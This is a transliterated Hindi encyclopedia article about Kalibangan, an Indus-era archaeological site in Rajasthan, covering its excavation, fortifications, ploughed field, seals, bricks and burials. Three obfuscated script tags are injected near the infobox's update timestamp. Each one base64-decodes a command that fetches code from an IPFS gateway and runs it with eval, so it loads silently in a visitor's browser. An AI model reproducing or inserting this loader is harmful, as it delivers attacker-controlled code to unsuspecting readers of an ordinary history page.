कालीबंगा
kalibanga
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| vivaran | kalibanga ek aitihasik sthal hai, jahaan par prakh h dappa evan h dappakalin sanskriti ke avashesh mile haian. |
| rajy | rajasthan |
| zila | hanumanagadh |
| bhaugolik sthiti | uttar- 29°28′, poorv- 74°08 |
| marg sthiti | kalibanga hanumanagadh jankshan se lagabhag 32 kimi ki doori par sthit hai. |
| prasiddhi | kalibanga prachin samay mean choo diyoan ke lie prasiddh tha. |
| kab jaean | aktoobar se faravari |
| kaise pahuanchean | havaee jahaz, rel, bas adi |
| havaee adda | bhatianda havaee adda aur bikaner havaee adda |
| relave steshan | hanumanagadh jankshan |
| es.ti.di. kod | 1552 |
| chitr:Map-icon.gif | googal manachitr |
| bhasha | hiandi, rajasthani, aangreji |
| any janakari | kalibanga ki khudaee 1953 mean 'bi.bi. lal' evan 'bi. ke. thap d' dvara karayi gayi. |
| adyatan | 13:54, 19 navambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kalibanga (aangrezi: Kalibangan) rajasthan ke hanumanagadh zile mean ghagghar nadi ke baean tat par sthit hai. khudaee 1953 mean 'bi.bi. lal' evan 'bi. ke. thap d' dvara karayi gayi. yahaan par prakh h dappa evan h dappakalin sanskriti ke avashesh mile haian. yah prachin samay mean choodiyoan ke lie prasiddh tha. ye choodiyaan paththaroan ki bani hoti thi.
sindhu-poorv sabhyata
h dappa evan mohanajoda do ki bhaanti yahaan par suraksha divar se ghire do tile pae ge haian. kuchh viddhanoan ka manana hai ki yah saiandhav sabhyata ki tisari rajadhani rahi hogi. poorvi tile ki sabhyata prakh-h dappakalin thi. kalibanga mean sindhu-poorv sabhyata ki yah basti kachchi eeantoan ki kilebandi se ghiri thi. kilebandi ke uttari bhag mean pravesh marg tha. jisase sarasvati nadi tak pahuanch sakate the. mitti ke khilaunoan, pahiyoan tatha maveshiyoan ki haddiyaan ke aanveshan se bailaga di ke astitv ka apratyaksh sakshy prapt hota hai.
sakshy
kalibanga ke durg tile ke dakshin bhag mean mitti aur kachche eetoan ke bane hue paanch chabootare mile haian, jisake shikhar par havan kundoan ke hone ke sakshy mile haian.
durg
any h dappa kalin nagaroan ki bhaanti kalibanga do bhagoan nagar durg (ya gadhi) aur niche durg mean vibhajit tha. nagar durg samanantar chaturbhujakar tha. yahaan par bhavanoan ke avashesh se spasht hota hai ki yahaan bhavan kachchi eetoan ke bane the.
kheti
kalibanga mean 'prakh saiandhav sanskriti' ki sabase mahattvapoorn upalabdhi ek jute hue khet ka sakshy hai jisake kuandoan ke bich ka phasala poorv mean pashchim ki or 30 se.mi. hai aur uttar se dakshin 1.10 mitar hai. kam doori ke khaanchoan mean chana evan adhik doori ke khachoan mean sarasoan boee jati thi. thumb|left|qabristan ka marg, kalibanga
laghu pashan upakaran
yahaan par laghu pashan upakaran, maniky evan mitti ke manake, shankh, kaanch evan mitti ki choo diyaan, khilauna ga di ke pahie, saand ki khandit mrinmoorti, silabatte adi puravashesh mile haian. yahaan se prapt shailakh di ki muharean (silean) aur mitti ki chhoti muhare (sile) mahattvapoorn abhilikhit vastuean thi. mitti ki muharoan par sarakande ke chhap ya nishan se yah lagata hai ki inaka prayog paikiang ke lie kiya jata raha hoga.
prapt muharean v eetean
ek sil par kisi aradhy dev ki akriti hai. yahaan se prapt muharean 'mesopotamiyaee' muharoan ke samakaksh thi. kalibanga ki prakh-saiandhav bastiyoan mean prayukt hone vali kachchi eetean 30x20x10 se.mi. akar ki hoti thi. yahaan se mile makanoan ke avasheshoan se pata chalata hai ki sabhi makan kachchi eetoan se banaye gaye the, par nali aur kuoan mean pakki eetoan ka prayog kiya gaya tha. yahaan par kuchh eetean alankrit payi gayi haian. kalibanga ka ek pharsh poore h dappa ka ek matr udaharan hai jahaan alankrit eetoan ka prayog kiya gaya hai. is par pratichchhedi vrit ka alankaran haian.
qabristan
thumb|250px|pashchimi gadh ke roop mean tile, kalibanga kalibanga ke dakshin-pashchim mean qabristan sthit tha. yahaan se shav visarjan ke 37 udaharan mile haian. yahaan antyeshti sanskar ki tin vidhiyaan prachalit thi -
- poorv samadhikaran
- aanshik samadhikaran
- dah sanskar
yahaan par bachche ki khop di mile hai jisamean 6 chhed haian, ise 'jal kapali' ya 'mastishk shodh' ki bimari ka pata chalata hai. yahaan se ek kankal mila hai jisake baean ghutane par kisi dharadar kulha di se katane ka nishan hai.
bhookamp ke sakshy
yahaan se bhookamp ke prachinatam sakshy ke praman milate haian. sambhavatah ghagghar nadi ke sookh jane se kalibanga ka vinash ho gaya.
pahala tila: prapt sakshy
[[chitr:Kalibangan-Seal-Commemorative-Stamp.jpg|thumb|250px|kalibanga se prapt muhar par jari dak tikat]] is sindhu-poorv sabhyata maian samanyata makan mean ek aangan hota tha aur usake kinare par kuchh kamare bane hote the aangan mean khana pakane ka sakshy bhi prapt hota hai, kyoanki vahaan bhoomi ke oopar aur niche donoan prakar ke tandoor mile haian. hal ke prayog ka sakshy mila hai, kyoanki is star par haraee ke nishan paye gaye haian. hal chalane ke dhang se sanket milata hai ki ek or ke khaanche poorv-pashchim ki disha mean banaye jate the aur doosari or ke uttar-dakshin disha mean. is yug mean patthar aur taanbe donoan prakar ke upakaran prachalit the parantu patthar ke upakaranoan ka prayog adhik hota tha. yahaan se dainik jivan prayukt hone vali vastuean prapt huee haian. aisa pratit hota hai ki kalibanga ke is charan ka jivan 3000 ee.poo. ke as-pas raha hoga.
doosara tila
doosare b de tile se jo vastuean mili haian, ve h dappa sabhyata ke samanurup haian. kalibanga ke is tile mean kuchh agni kund bhi mile haian. kalibanga se mitti ke bartanoan ke kuchh aise tuk de mile haian, jinase yah nishchay hota hai ki sindhu sabhyata ki lipi dahini or se bayian or likhi jati thi. kalibanga mean mohanajod do jaisi uchch-star ki jal nikas vyavastha ka abhas nahian hota hai. bhavanoan ka nirman kachchi eeantoan se kiya jata tha, kiantu naliyoan, kuoan tatha snanagaroan mean pakaee eeantoan prayukt ki gee haian.
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